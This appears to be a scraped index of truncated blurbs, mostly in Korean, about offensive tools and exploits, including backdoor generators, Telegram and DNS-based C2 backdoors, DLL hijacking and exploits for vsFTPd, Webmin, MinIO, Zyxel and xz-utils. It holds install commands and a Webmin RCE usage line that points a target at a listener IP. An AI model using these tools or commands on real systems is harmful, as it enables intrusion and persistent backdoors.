CVE-2023-28432-minio_update_rce

minio-CVE-2023-28432-rce https://github.com/AbelChe/evilminio/tree/main 프로젝트 원본 주소 개인적으로 패키징하여 보관 영향 받는 버전: 2019-12-17T23-16-33Z 부터 RELEASE.2023-03-20T20-16-18Z 까지 재현: https://www.yuque.com/jason-soozc/luhd40/pgabr9xvg0kgx85v?singleDoc 《minlo 인증 없이 rce로 클러스터 모드》 전역 백도어: http://1.2.3.4/?alive=whoa...

Androspy

Androspy Androspy : 백도어 크립터 및 생성기이며, 자동 IP Poisener 기능을 포함합니다. 제작자: Belahsan Ouerghi 의존성 keytool jarsigner Apache2 Metasploit-Framework xterm 설치 root@kitploit: sudo apt-get install git git clone https://github.com/TunisianEagles/Androspy.git cd Androspy chmod +x setup.sh sudo ./setup.sh chmod +x...

CVE-2011-2523

CVE-2011-2523 vsFTPd 백도어 취약점에 대한 익스플로잇, Python으로 작성되었으며 Pwntools 사용 사용법 root@kitploit: pip3 install pwntools python3 ./CVE-2011-2523.py optional...

bt2

bt2: Blaze Telegram Backdoor Toolkit bt2 is a Python-based backdoor in form of a IM bot that uses the infrastructure and the feature-rich bot API provided by Telegram, slightly repurposing its communication platform to act as a C&C. Dependencies Telepot requests Installation root@kitploit: $ sudo...

bt2

bt2: Blaze Telegram 백도어 툴킷 bt2는 Telegram이 제공하는 인프라와 기능이 풍부한 봇 API를 사용하는 IM 봇 형태의 Python 기반 백도어로, 통신 플랫폼을 약간 용도 변경하여 C&C 역할을 수행합니다. 종속성 Telepot requests 설치 root@kitploit: $ sudo pip install telepot $ sudo pip install requests 참고: Telepot이 제대로 작동하려면 requests 2.9.1 이상이 필요합니다. 제한사항 현재 셸코드 실행 구성 요소는...

CVE-2011-2523

Vsftpd 2.3.4 백도어 취약점 Vulnerability 해커가 USER 매개변수에 :를 추가하는 문자열을 입력했을 때 포트 6200 에서 백도어가 열림...

PortBender

개요 PortBender는 TCP 포트 리디렉션 유틸리티로서, 레드팀 운영자가 하나의 TCP 포트예: 445/TCP로 들어오는 트래픽을 다른 TCP 포트예: 8445/TCP로 리디렉션할 수 있도록 해줍니다. PortBender는 운영자가 Cobalt Strike와 도구를 통합할 수 있도록 하는 어그레서 스크립트를 포함합니다. 그러나 이 도구는 리플렉티브 DLL로 구현되어 있기 때문에 "ReflectiveLoader" 인터페이스1를 통해 모듈을 로드하는 모든 C2 프레임워크와 통합될 수 있습니다. 또한 이 도구는 운영자가 Duq...

DllShimmer

DllShimmer DLL 하이재킹을 쉽게 무기화하세요. 정상적인 프로세스 동작을 방해하지 않고 모든 DLL의 모든 함수를 백도어하세요. 작동 방식 DllShimmer는 원본 DLL을 파싱하여 내보낸 함수에 대한 정보이름, 서수, 포워더 정보를 추출합니다. 이 정보를 기반으로 DllShimmer는 C++ 보일러플레이트 파일.cpp을 생성합니다. 생성된 파일을 사용하면 프로그램의 정상적인 작동을 방해하지 않고 원본 DLL에서 내보낸 각 함수에 고유한 코드를 추가할 수 있습니다. DllShimmer는 함수 시그니처에 의존하지 않으...

ddoor

ddoor cross platform backdoor using dns txt records What is ddor? ddor is a cross platform light weight backdoor that uses txt records to execute commands on infected machines. Features Allows a single txt record to have seperate commands for both linux and windows machines List of around 10 publ...

ddoor

ddoor 크로스 플랫폼 DNS TXT 레코드 기반 백도어 ddoor란 무엇인가? ddor는 TXT 레코드를 사용하여 감염된 시스템에서 명령을 실행하는 크로스 플랫폼 경량 백도어입니다. 특징 단일 TXT 레코드로 Linux와 Windows 시스템 각각에 별도의 명령을 지정할 수 있음 약 10개의 공개 DNS 서버 목록에서 무작위로 선택 예측 불가능한 콜백 시간 사용자 지정 암호로 XOR을 사용해 TXT 레코드 암호화 DNS over HTTPS 지원 Keith@keharv님께 감사드립니다! Linux 기능: 안티 디버깅:...

XZ-Utils_CVE-2024-3094

취약점 개요 XZ는 데이터 압축 형식으로, 거의 모든 Linux 배포판에 존재합니다. liblzma는 XZ 압축 형식을 처리하는 오픈 소스 소프트웨어 라이브러리입니다. 3월 29일 개발자들은 XZ 패키지의 공급망 공격을 발견했고, 조사 결과 SSH 상위 liblzma 라이브러리에 백도어 트로이 목마가 심어져 특정 조건이 충족되면 트래픽에서 C2 명령을 해독하여 실행하는 것으로 나타났습니다. 취약점 번호: CVE-2024-3094 CVSS 3.1 점수: 10.0 위협 유형: 공급망 공격, 백도어 POC 상태: 공개됨 EXP 상태...

CVE-2019-15107

CVE-2019-15107 webmin 또는 minisever RCE 스크립트 사용법: v1.890에서 테스트되었으며, 이 백도어가 설치된 다른 webmin 버전에서도 작동해야 합니다. root@kitploit: python3 webminrce.py -t http://10.11.1.88:10000 -l 172.16.1.3 -p 8888...

xz-utils-vuln-checker

root@kitploit: / / / / | |/// / / / / / / / / / / / / / / //// // / / / / / / / //|| // ,/ / // // // Hare Krishna Rai 0xblurr3d / / / / / / | | / / / / / / / / / \ / / / \ / \ / / / /// / \ / / | |/ / / // / / / / / / //// / / / / // // / / , / / / / |/ ,/ // // // / // // / / //|| / //...

dlink

D-Link NAS 장치의 명령 주입 및 백도어 계정 취약점 요약: 설명된 취약점은 DNS-340L, DNS-320L, DNS-327L, DNS-325 등 여러 D-Link NAS 장치에 영향을 미칩니다. 취약점은 nassharing.cgi URI에 존재하며, 하드코딩된 자격 증명으로 인한 백도어와 system 매개변수를 통한 명령 주입 취약점이라는 두 가지 주요 문제로 인해 발생합니다. 이를 악용하면 영향을 받는 D-Link NAS 장치에서 임의의 명령을 실행할 수 있으며, 공격자는 명령을 지정하여 민감한 정보에 대한 잠재적...

Shelly

Shelly | Python ベースのシンプルなバックドアマネージャー weevely ベース Shelly は Python で書かれたシンプルなツールで、ウェブサイトをリモート操作するためのものです。 インストール : $ git clone https://github.com/tegal1337/Shelly $ cd Shelly $ python3 shell.py 必要条件 : root@kitploit: sudo pip install -r requirements.txt 例 : root@kitploit: python3 shell.py -g wp-log ...

CVE-2024-3094-info

CVE-2024-3094 정보 CVE-2024-3094 PoC 탐구 https://github.com/amlweems/xzbot https://github.com/lockness-Ko/xz-vulnerable-honeypot https://tukaani.org/xz-backdoor/ - Lasse Collin 답변 https://gist.github.com/thesamesam/223949d5a074ebc3dce9ee78baad9e27...

CVE-2024-29972

TG Join Us https://t.me/WanLiChangChengWanLiChang 저희와 함께 정기적으로 다양한 취약점 EXP와 POC를 받아보세요. CVE-2024-29972-EXP CVE-2024-29972 Zyxel Nas Backdoor Account 백도어 계정 무단 활성화 FOFA app="ZyXEL-NAS326" 주의사항 이 EXP 악용 스크립트는 CVE-2024-29972와 CVE-2024-29973의 결합 악용입니다. '콤보 펀치'라고도 부를 수 있습니다. 백도어 계정 NsaRescueAngel은 Roo...

CVE-2026-49777

CVE-2026-49777 CVE-2026-49777 - ShapedPlugin Product Slider Pro for WooCommerce バックドア RCE 詳細技術分析: Product Slider Pro バックドア脆弱性 脆弱性の基本と原因 CWE-1284 この脆弱性の技術的な起源は...

GhostTunnel

GhostTunnel GhostTunnel은 격리된 환경에서 사용할 수 있는 은밀한 백도어 전송 방법입니다. HID 장치를 통해서만 대상에게 페이로드에이전트를 전달하여 공격할 수 있으며, 페이로드 전달 후 HID 장치는 제거할 수 있습니다. GhostTunnel은 802.11 Probe Request 프레임과 Beacon 프레임을 사용하여 통신하며, WiFi 연결을 설정할 필요가 없습니다. 정확히는, 비콘과 프로브 요청에 데이터를 삽입하여 통신합니다. 우리는 c/c++로 구현된 GhostTunnel 서버와 윈도우 에이전트를...

CVE-2010-1240

CVE-2010-1240 - PDF에 백도어 삽입 ⚠️ 교육 및 승인된 보안 연구 목적으로만 사용하세요 Description Windows 및 Mac OS X에서 Adobe Reader 및 Acrobat 9.x9.3.3 미만 및 8.x8.2.3 미만는 파일 실행 경고 대화상자의 한 텍스트 필드 내용을 제한하지 않습니다. 이로 인해 원격 공격자가 PDF 문서에 지정된 임의의 로컬 프로그램을 실행하도록 사용자를 속이기 쉬워집니다. 이는 열기 버튼을 클릭하면 사용자가 암호화된 메시지를 읽을 수 있다고 주장하는 텍스트 필드를 통해...